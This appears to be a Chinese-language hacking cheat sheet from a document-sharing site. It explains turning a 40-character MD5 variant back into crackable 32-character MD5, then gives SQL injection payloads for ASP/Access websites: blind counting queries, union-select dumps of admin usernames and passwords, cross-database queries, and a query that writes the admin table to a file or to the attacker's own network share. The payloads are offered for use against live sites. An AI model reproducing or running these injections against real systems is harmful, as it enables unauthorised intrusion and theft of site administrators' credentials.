- 0
- 0
- 约3.35万字
- 约 41页
- 2026-01-28 发布于中国
- 举报
数据库细节整理
40位MD5加密和32位MD5加密对比
比较32位MD5.asp和40位MD5.asp文件时发现的,40位的加密是能找出规律的,我们还可以弄出48位的加密来。先看32位加密:MD5=LCase(WordToHex(a)WordToHex(b)WordToHex(c)WordToHex(d))
再看40位加密:MD5=LCase(WordToHex(c)WordToHex(a)WordToHex(b)WordToHex(c)WordToHex(d))
32位加密用连接4个变量,40位加密用连接5个变量,这样以来每个变量就占用了加密密文里的8个位子,所以在破解是时候只要去掉前8位就可以了,不过这只是针对这一种加密的破解方法,我们还可以进行其他方式的40位MD5加密,比如说:MD5=LCase(WordToHex(a)WordToHex(b)WordToHex(c)WordToHex(d)WordToHex(c)),这里我将WordToHex(c)变量移到了后面,那么这时我们再破解的时候就要去掉后8位来跑MD5了,其他的放中间或者是加倍的可以以此类推的得到结果,但前提是我们必须的知道连接变量的规律,也就是你看了40位加密的MD5.asp文件。下面看看普通的40位MD5加密和32位加密的区别吧:
32位admin加密:21232f297a57a5a743894a0e4a801fc3
40位admin加密:43894a0e21232f297a57a5a743894a0e4a801fc3
大家可以对比下40位加密中的前8位是不是32位加密中的WordToHex(c)变量部分,以此类推如果我们再40位MD5加密前面再加上一个WordToHex(c),那么加密的结果就成了48位的加密了。
union查询法
首先要说的就是查询办法,一般的查询办法就是
程序代码
and1=(selectcount(*)fromadminwhereleft(id,1)=1)
这样开始判断了...就算你使用各种各样的工具,也是一个个字的去猜去判断对不对,不对再换一个.这样的坏处显而易见,慢.特别是在猜测经过32位MD5加密过的段的时候...基本上你可以去泡壶茶再喝一杯.
所以这个时候,unionselect横空出现.别以为只能在PHP里用哦...
譬如你有一个ACCESS点:
程序代码
/xiaoyang.asp?coder=1
知道存在admin表(你当然可以拿个工具先快速猜出表和字段来),
然后我们直接来:
程序代码
/xiaoyang.asp?coder=1unionselect1,2,3,4,5,6fromadmin[wherecoderx=1(如果有限制查询条件)]
这里从1开始加到回显正常为止.然后替换URL里相应在页面出现的1~X为password,username之类的东西,就可以直接暴内容了.多方便,多快捷.茶可以先放放,凉一些再来喝了.
Access跨库查询
有时候某个网站服务器上有两个以上系统,你发现其中一个有ACCESS注入点,但是后台没法提权,另外一个系统没有注入点,但是后台却有你需要的功能.那么这个时候,跨库来了.当然,你还可以用来MDB溢出,渗透的过程等等.他的作用往往是意想不到的.
跨库的查询语句:
子查询:
程序代码
and(SelectCount(*)from[D:\tianyang\backdoor\xiaoyang.mdb].test)0
union查询:
程序代码
unionselect1,2,3,4fromadmininD:\xioatianyang\okok.asawhereid=1
跨库的作用当然不只这些了,大伙继续发挥吧..这里提供两篇参考过的文章连接:
程序代码
/article/46.htm
/Article/hack/rqsl/200502/66.html
Access高级注入语句
Access注入,导出txt,htm,html
子查询语句:
程序代码
Select*into[test.txt]ind:\web\text;fromadmin
这样就把admin表的内容以test类型存进了d:\web里面.
UNION查询:
程序代码
unionselect*into[admin.txt]inc:\test;fromadmin
而且这里也可以保存到本地来:
程序代码
Select*into[test.txt]in\\yourip\sharetext;fromadmin
不过,很多人包括我自己测试,本机数据库来操作是没问题的,但是一旦在注入点上,子查询会回显没有权限,union会回显动作查询不能
原创力文档

文档评论(0)